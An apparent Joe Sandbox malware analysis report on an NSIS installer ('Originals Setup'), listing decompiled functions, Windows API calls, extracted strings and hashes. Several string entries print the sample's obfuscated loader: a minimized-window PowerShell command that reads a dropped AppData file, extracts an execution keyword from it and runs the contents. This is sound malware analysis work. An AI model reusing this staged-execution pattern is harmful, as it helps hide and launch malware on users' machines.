CreateThread.KERNELBASE(00000000,00000000,Function_00004F78,00000000), ref: 004051B2
CloseHandle.KERNELBASE(00000000), ref: 004051B9
ShowWindow.USER32(00000000), ref: 004051DC
ShowWindow.USER32(?,00000008), ref: 004051E3
ShowWindow.USER32(00000008), ref: 00405229
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040525D
CreatePopupMenu.USER32 ref: 0040526E
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405283
GetWindowRect.USER32(?,000000FF), ref: 004052A3
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004052BC
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004052F8
OpenClipboard.USER32(00000000), ref: 00405308
EmptyClipboard.USER32 ref: 0040530E
GlobalAlloc.KERNEL32(00000042,?), ref: 00405317
GlobalLock.KERNEL32(00000000), ref: 00405321
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405335
GlobalUnlock.KERNEL32(00000000), ref: 0040534E
SetClipboardData.USER32(00000001,00000000), ref: 00405359
CloseClipboard.USER32 ref: 0040535F

Strings

Originals Setup: Completed, xrefs: 004052D4

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: Originals Setup: Completed
API String ID: 590372296-1959725480
Opcode ID: 7afbd6bb534d64d4964d763d2f7a56bb17a1bb4ac360bf80618473dd1d5dafb6
Instruction ID: 5eb751775e690fc0911b0246dac1cecdda29a979763143f7b886e47eaa108cfb
Opcode Fuzzy Hash: 7afbd6bb534d64d4964d763d2f7a56bb17a1bb4ac360bf80618473dd1d5dafb6
Instruction Fuzzy Hash: 8AA16971900208BFDB219FA0DD89EAE7F79FB08345F10407AFA01B61A0C7B55E519FA9

Function 00405BDF Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,Completed,00000000,00404EDE,Completed,00000000), ref: 00405C90
GetSystemDirectoryA.KERNEL32(: Completed,00000400), ref: 00405D0B
GetWindowsDirectoryA.KERNEL32(: Completed,00000400), ref: 00405D1E
SHGetSpecialFolderLocation.SHELL32(?,0040E888), ref: 00405D5A
SHGetPathFromIDListA.SHELL32(0040E888,: Completed), ref: 00405D68
CoTaskMemFree.OLE32(0040E888), ref: 00405D73
lstrcatA.KERNEL32(: Completed,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D95
lstrlenA.KERNEL32(: Completed,?,Completed,00000000,00404EDE,Completed,00000000), ref: 00405DE7

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00405CDA
Completed, xrefs: 00405C0E
"$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , xrefs: 00405DBF
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D8F
: Completed, xrefs: 00405C06, 00405CD8, 00405CF5, 00405D0A, 00405D1D, 00405D39, 00405D64, 00405D94, 00405D9A, 00405DB2, 00405DC5, 00405DE0, 00405DE6, 00405DF1, 00405E1B

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" $: Completed$Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-4250441434
Opcode ID: 6d1c9af88ffa3db3a0edcf81b4fc072c50c4b8bcf17ecc15cdbe89ff62f1b448
Instruction ID: 05ce3077703b195791b94b96109b54625272672628b9f98d23919b5af99ad588
Opcode Fuzzy Hash: 6d1c9af88ffa3db3a0edcf81b4fc072c50c4b8bcf17ecc15cdbe89ff62f1b448
Instruction Fuzzy Hash: 0A610171A04A05AAEB205F24DC88BBF7BB4EF11304F50813BE941B62D0D27D5982DF8E

Function 00406197 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 208b979f7471c67888a02c39f93206778dc1c3e33f97723ffc6ad1ac2506ac0b
Instruction ID: 01902b0c5badf26c21563370f74918c90dc48b9c290b8d647ce642e1aeaa84f8
Opcode Fuzzy Hash: 208b979f7471c67888a02c39f93206778dc1c3e33f97723ffc6ad1ac2506ac0b
Instruction Fuzzy Hash: 99F18671D00229CBDF28CFA8C8946ADBBB0FF45305F25856ED856BB281D7385A96CF44

Function 00405EE8 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,004030FB,00000009), ref: 00405EFA
LoadLibraryA.KERNELBASE(?,?,?,004030FB,00000009), ref: 00405F05
GetProcAddress.KERNEL32(00000000,?), ref: 00405F16

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 6a16e0dd3cc6108475a6e7adf37e54332756fcc3f7317002038e5d5bd84af621
Instruction ID: dd30d9296bace99b119292820e2dbffb2fd0b4cb1c2bef09bc496f5d2c6c7741
Opcode Fuzzy Hash: 6a16e0dd3cc6108475a6e7adf37e54332756fcc3f7317002038e5d5bd84af621
Instruction Fuzzy Hash: A6E0C232A08511ABC710AB349C08A6B77A8EFC8650304893EF501F6151D738AC11ABAE

Function 00405EC1 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(?,00421528,004210E0,0040577E,004210E0,004210E0,00000000,004210E0,004210E0,?,?,75573410,0040549D,?,C:\Users\user\AppData\Local\Temp\,75573410), ref: 00405ECC
FindClose.KERNELBASE(00000000), ref: 00405ED8

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f7c2684b86b1527493efd370d531fce5aff0e856747922587c11eb9b8a6dacaa
Instruction ID: c8363a8003639f247cd95da1b4b67004b06b28060bca14ca5f7d033ebcfdecfd
Opcode Fuzzy Hash: f7c2684b86b1527493efd370d531fce5aff0e856747922587c11eb9b8a6dacaa
Instruction Fuzzy Hash: 9ED012369194206BC7005B78AC0C85B7A98EF593317608A33B5A5F52F0C7788D528AEA

Function 004039A0 Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039DC
ShowWindow.USER32(?), ref: 004039F9
DestroyWindow.USER32 ref: 00403A0D
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A29
GetDlgItem.USER32(?,?), ref: 00403A4A
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403A5E
IsWindowEnabled.USER32(00000000), ref: 00403A65
GetDlgItem.USER32(?,00000001), ref: 00403B13
GetDlgItem.USER32(?,00000002), ref: 00403B1D
SetClassLongA.USER32(?,000000F2,?), ref: 00403B37
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403B88
GetDlgItem.USER32(?,00000003), ref: 00403C2E
ShowWindow.USER32(00000000,?), ref: 00403C4F
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403C61
EnableWindow.USER32(?,?), ref: 00403C7C
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403C92
EnableMenuItem.USER32(00000000), ref: 00403C99
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403CB1
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403CC4
lstrlenA.KERNEL32(Originals Setup: Completed,?,Originals Setup: Completed,Originals Setup), ref: 00403CED
SetWindowTextA.USER32(?,Originals Setup: Completed), ref: 00403CFC
ShowWindow.USER32(?,0000000A), ref: 00403E30

Strings

Originals Setup: Completed, xrefs: 00403CD9, 00403CE3, 00403CEC, 00403CFA
Originals Setup, xrefs: 00403CDE

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Originals Setup$Originals Setup: Completed
API String ID: 3282139019-952384604
Opcode ID: c4d288c9213a4ff13c75ca07aa37345a46e4ee7ce1d3a7d01e6124bc117d097b
Instruction ID: 6a308cc8f2d4566e8290075db2a5fe9cea5b682110ca7f7f0817dc9b094a1d3c
Opcode Fuzzy Hash: c4d288c9213a4ff13c75ca07aa37345a46e4ee7ce1d3a7d01e6124bc117d097b
Instruction Fuzzy Hash: 0EC1D271604204BBDB21AF61ED45E2B3E7DFB44706B40053EF641B12E1C779A942AF6E

Function 0040360E Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405EE8: GetModuleHandleA.KERNEL32(?,?,?,004030FB,00000009), ref: 00405EFA
Part of subcall function 00405EE8: LoadLibraryA.KERNELBASE(?,?,?,004030FB,00000009), ref: 00405F05
Part of subcall function 00405EE8: GetProcAddress.KERNEL32(00000000,?), ref: 00405F16

lstrcatA.KERNEL32(1033,Originals Setup: Completed,80000001,Control Panel\Desktop\ResourceLocale,00000000,Originals Setup: Completed,00000000,00000002,C:\Users\user\AppData\Local\Temp\,75573410,"C:\Users\user\Desktop\HVSU7GbA5N.exe",00000000), ref: 00403689
lstrlenA.KERNEL32(: Completed,?,?,?,: Completed,00000000,C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens,1033,Originals Setup: Completed,80000001,Control Panel\Desktop\ResourceLocale,00000000,Originals Setup: Completed,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 004036FE
lstrcmpiA.KERNEL32(?,.exe), ref: 00403711
GetFileAttributesA.KERNEL32(: Completed), ref: 0040371C
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens), ref: 00403765

Part of subcall function 00405B1B: wsprintfA.USER32 ref: 00405B28

RegisterClassA.USER32(00422E80), ref: 004037A2
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004037BA
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 004037EF
ShowWindow.USER32(00000005,00000000), ref: 00403825
LoadLibraryA.KERNELBASE(RichEd20), ref: 00403836
LoadLibraryA.KERNEL32(RichEd32), ref: 00403841
GetClassInfoA.USER32(00000000,RichEdit20A,00422E80), ref: 00403851
GetClassInfoA.USER32(00000000,RichEdit,00422E80), ref: 0040385E
RegisterClassA.USER32(00422E80), ref: 00403867
DialogBoxParamA.USER32(?,00000000,004039A0,00000000), ref: 00403886

Strings

.DEFAULT\Control Panel\International, xrefs: 00403674
.exe, xrefs: 0040370B
C:\Users\user\AppData\Local\Temp\, xrefs: 0040361A
RichEdit, xrefs: 00403858
_Nb, xrefs: 00403781, 004037E9
Originals Setup: Completed, xrefs: 0040363A, 00403640, 00403665, 0040366E, 00403683
C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens, xrefs: 00403698, 004036A0, 00403738, 0040373E, 0040374E
: Completed, xrefs: 004036CC, 004036D4, 004036E1, 0040372B, 00403731
RichEd32, xrefs: 0040383C
RichEd20, xrefs: 00403831
Control Panel\Desktop\ResourceLocale, xrefs: 00403642
1033, xrefs: 0040362E, 00403684
"C:\Users\user\Desktop\HVSU7GbA5N.exe", xrefs: 00403612
RichEdit20A, xrefs: 00403849, 0040384F

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\HVSU7GbA5N.exe"$.DEFAULT\Control Panel\International$.exe$1033$: Completed$C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$Originals Setup: Completed$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-2049690784
Opcode ID: 04695480405891d431fb5b182ebd05ffb522bb116bc315d28555dd4449e2f2fa
Instruction ID: a1152651de681702ec182a4452d53c4528d9546a1521c59b1686b62f96f1e611
Opcode Fuzzy Hash: 04695480405891d431fb5b182ebd05ffb522bb116bc315d28555dd4449e2f2fa
Instruction Fuzzy Hash: 966107B16442007FD7206F659D85F2B3AACEB4474AF40457FF840B62E1C7BD6D029A2E

Function 00402C29 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C3A
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\HVSU7GbA5N.exe,00000400), ref: 00402C56

Part of subcall function 0040584E: GetFileAttributesA.KERNELBASE(00000003,00402C69,C:\Users\user\Desktop\HVSU7GbA5N.exe,80000000,00000003), ref: 00405852
Part of subcall function 0040584E: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405874

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\HVSU7GbA5N.exe,C:\Users\user\Desktop\HVSU7GbA5N.exe,80000000,00000003), ref: 00402CA2

Strings

Error launching installer, xrefs: 00402C79
J, xrefs: 00402CAA
C:\Users\user\Desktop\HVSU7GbA5N.exe, xrefs: 00402C40, 00402C4F, 00402C63, 00402C83
soft, xrefs: 00402D17
C:\Users\user\Desktop, xrefs: 00402C84, 00402C89, 00402C8F
F, xrefs: 00402D2F, 00402D8C
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C33
Null, xrefs: 00402D20
"C:\Users\user\Desktop\HVSU7GbA5N.exe", xrefs: 00402C29
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E01
Inst, xrefs: 00402D0E

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\HVSU7GbA5N.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\HVSU7GbA5N.exe$Error launching installer$F$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$J$Null$soft
API String ID: 4283519449-3967052016
Opcode ID: 83888f2de956a22d0bc41c9bd18695b65df7ebb646604f4f840fd8a04a0cb393
Instruction ID: f25878a385a50b793721b7c2dc62060375717e7a9e735ffe9872fd5df72a7917
Opcode Fuzzy Hash: 83888f2de956a22d0bc41c9bd18695b65df7ebb646604f4f840fd8a04a0cb393
Instruction Fuzzy Hash: 7651F671A00215ABDB20AF65DE89F9E7BB8EB04315F10413BF904B62D1D7BC9E418B9D

Function 0040173F Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,"powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" ,C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens,00000000,00000000,00000031), ref: 0040177E
CompareFileTime.KERNEL32(-00000014,?,"powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" ,"powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" ,00000000,00000000,"powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" ,C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens,00000000,00000000,00000031), ref: 004017A8

Part of subcall function 00405BBD: lstrcpynA.KERNEL32(?,?,00000400,00403126,Originals Setup,NSIS Error), ref: 00405BCA

Part of subcall function 00404EA6: lstrlenA.KERNEL32(Completed,00000000,0040E888,00000000,?,?,?,?,?,?,?,?,?,00402F92,00000000,?), ref: 00404EDF
Part of subcall function 00404EA6: lstrlenA.KERNEL32(00402F92,Completed,00000000,0040E888,00000000,?,?,?,?,?,?,?,?,?,00402F92,00000000), ref: 00404EEF
Part of subcall function 00404EA6: lstrcatA.KERNEL32(Completed,00402F92,00402F92,Completed,00000000,0040E888,00000000), ref: 00404F02
Part of subcall function 00404EA6: SetWindowTextA.USER32(Completed,Completed), ref: 00404F14
Part of subcall function 00404EA6: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F3A
Part of subcall function 00404EA6: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F54
Part of subcall function 00404EA6: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F62

Strings

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens, xrefs: 0040176C
"$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , xrefs: 004017F3, 004017FF, 00401817
noncontamination\lftebevgelse\, xrefs: 00401789, 004017F8, 00401816
C:\Users\user\AppData\Local\choktallenes\sprgekasserne.Tek, xrefs: 0040180C, 00401828
"powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , xrefs: 0040175B, 00401764, 00401771, 00401783, 00401794, 004017CA, 004017E0, 004017FE, 0040183E, 004018BF, 004018C8, 004018D2, 004018DD

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" $"powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" $C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens$C:\Users\user\AppData\Local\choktallenes\sprgekasserne.Tek$noncontamination\lftebevgelse\
API String ID: 1941528284-867135988
Opcode ID: eb6225978e445b6639c7fe847b1e005be462a1abc08e94cdbcc89d5a2522d826
Instruction ID: 209590ddbc3a68456c4598a6b25cf33bb68440e8bdc93e33a46783fb3c58ae9b
Opcode Fuzzy Hash: eb6225978e445b6639c7fe847b1e005be462a1abc08e94cdbcc89d5a2522d826
Instruction Fuzzy Hash: 6F41C472900514BADF10BBA9DC46EAF3679EF01368F20823BF512F10E1D77C5A418AAD

Function 00404EA6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Completed,00000000,0040E888,00000000,?,?,?,?,?,?,?,?,?,00402F92,00000000,?), ref: 00404EDF
lstrlenA.KERNEL32(00402F92,Completed,00000000,0040E888,00000000,?,?,?,?,?,?,?,?,?,00402F92,00000000), ref: 00404EEF
lstrcatA.KERNEL32(Completed,00402F92,00402F92,Completed,00000000,0040E888,00000000), ref: 00404F02
SetWindowTextA.USER32(Completed,Completed), ref: 00404F14
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F3A
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F54
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F62

Strings

